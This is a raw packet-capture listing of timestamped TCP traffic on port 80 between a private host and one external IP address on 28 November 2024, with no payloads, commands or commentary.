Nov 28, 2024 08:55:24.800488949 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.800573111 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.800628901 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.804001093 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.804056883 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.868546963 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.868752956 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.868825912 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.870373011 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.870440006 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.870501041 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.873712063 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.873774052 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.873784065 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.873819113 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.877130032 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.877183914 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.877242088 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.877311945 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.880654097 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.880772114 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.880835056 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.883935928 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.884021044 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.884076118 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.887080908 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.887176037 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.887228012 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.890297890 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.890403986 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.890455008 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.893429041 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.893460035 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.893476009 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.893513918 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.896514893 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.896568060 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.896624088 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.899277925 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.899379015 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.899430037 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.902276039 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.902370930 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.902462959 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.904926062 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.904953003 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.904994965 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.905035973 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.907802105 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.907870054 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.907917023 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.907969952 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.910629988 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.910751104 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.910811901 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.913414001 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.913472891 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.913556099 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.913635969 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.916250944 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.916336060 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.916402102 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.919162989 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.919306993 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.919364929 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.921318054 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.921371937 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.988903046 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.988923073 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.989100933 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.989886999 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.989948034 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.990304947 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.990360022 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.990674973 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.990730047 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.992549896 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.992603064 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.992626905 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.992681026 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.994626999 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.994693995 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.994787931 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.994839907 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.996783018 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.996844053 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.996890068 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.996942043 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.998970032 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.999022007 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:24.999073982 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:24.999128103 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.001156092 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.001209974 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.001306057 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.001359940 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.003319025 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.003355026 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.003371954 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.003400087 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.006078959 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.006133080 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.006170034 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.006220102 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.007603884 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.007648945 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.007702112 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.007755041 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.009792089 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.009845972 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.009917974 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.009974957 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.011960030 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.012011051 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.012082100 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.012132883 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.014144897 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.014202118 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.014242887 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.014295101 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.016318083 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.016370058 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.016447067 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.016498089 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.018460989 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.018512964 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.018580914 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.018631935 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.020921946 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.020973921 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.021039009 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.021090031 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.023562908 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.023617983 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.023672104 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.023762941 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.025248051 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.025301933 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.025327921 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.025374889 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.027692080 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.027739048 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.027749062 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.027781010 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.029393911 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.029450893 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.029602051 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.029655933 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.031589031 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.031644106 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.031677008 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.031728983 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.033639908 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.033694029 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.033830881 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.033881903 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.035787106 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.035840034 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.035885096 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.035933971 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.037946939 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.038001060 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.038172007 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.038223982 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.041081905 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.041132927 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.041266918 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.041318893 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.042634010 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.042649984 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.042686939 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.042748928 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.044445992 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.044501066 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.044538975 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.044590950 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.046674013 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.046726942 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.046755075 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.046806097 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.048794985 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.048850060 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.048887968 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.048939943 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.050966978 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.051019907 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.079022884 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.079087019 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.079183102 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.079233885 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.080084085 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.080137968 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.080185890 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.080236912 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.082289934 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.082345963 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.082417965 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.082468033 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.084456921 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.084510088 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.084549904 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.084609985 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.086685896 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.086739063 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.086770058 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.086831093 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.088711023 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.088754892 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.088782072 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.088807106 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.090878010 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.090934038 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.090992928 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.091051102 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.093312979 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.093341112 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.093368053 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.093388081 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.095189095 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.095237017 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.095530033 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.095583916 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.097389936 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.097438097 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.097599983 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.097652912 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.099529028 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.099584103 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.099637985 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.099689007 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.101872921 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.101931095 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.101984024 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.102041006 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.103863001 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.103882074 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.103915930 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.103941917 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.106000900 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.106057882 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.106086016 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.106163979 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.108146906 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.108217001 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.108268976 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.108472109 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.110287905 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.110351086 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.110393047 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.110440969 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.112421036 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.112482071 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.112485886 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.112525940 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.114573956 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.114640951 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.114686966 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.114742994 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.116801023 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.116859913 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.116909981 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.116961956 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.118889093 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.118951082 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.118957996 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.119002104 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.120956898 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.121016979 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.121062994 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.121114016 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.123023987 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.123079062 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.123081923 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.123128891 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.125030041 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.125046968 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.125088930 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.125101089 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.157011986 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.157075882 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.157125950 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.157181978 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.157433987 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.157529116 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.157593012 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.157644033 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.158977032 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.159025908 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.159100056 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.159143925 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.160597086 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.160655022 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.160705090 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.162259102 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.162312984 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.162364006 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.163883924 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.163935900 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.164016962 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.164062023 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.165456057 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.165508986 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.165580034 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.165632963 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.167069912 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.167210102 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.167289019 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.168643951 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.168703079 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.168706894 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.168751955 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.170186043 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.170270920 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.170309067 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.170351028 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.171786070 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.171832085 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.171844006 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.171875954 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.173351049 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.173501015 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.173552036 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.174797058 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.174843073 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.174894094 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.176397085 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.176446915 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.176539898 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.176592112 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.177807093 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.177918911 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.178085089 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.179361105 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.179408073 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.179451942 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.179498911 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.180852890 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.180908918 CET	49705	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:25.180958033 CET	80	49705	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:25.181000948 CET	49705	80	192.168.2.8	185.215.113.206
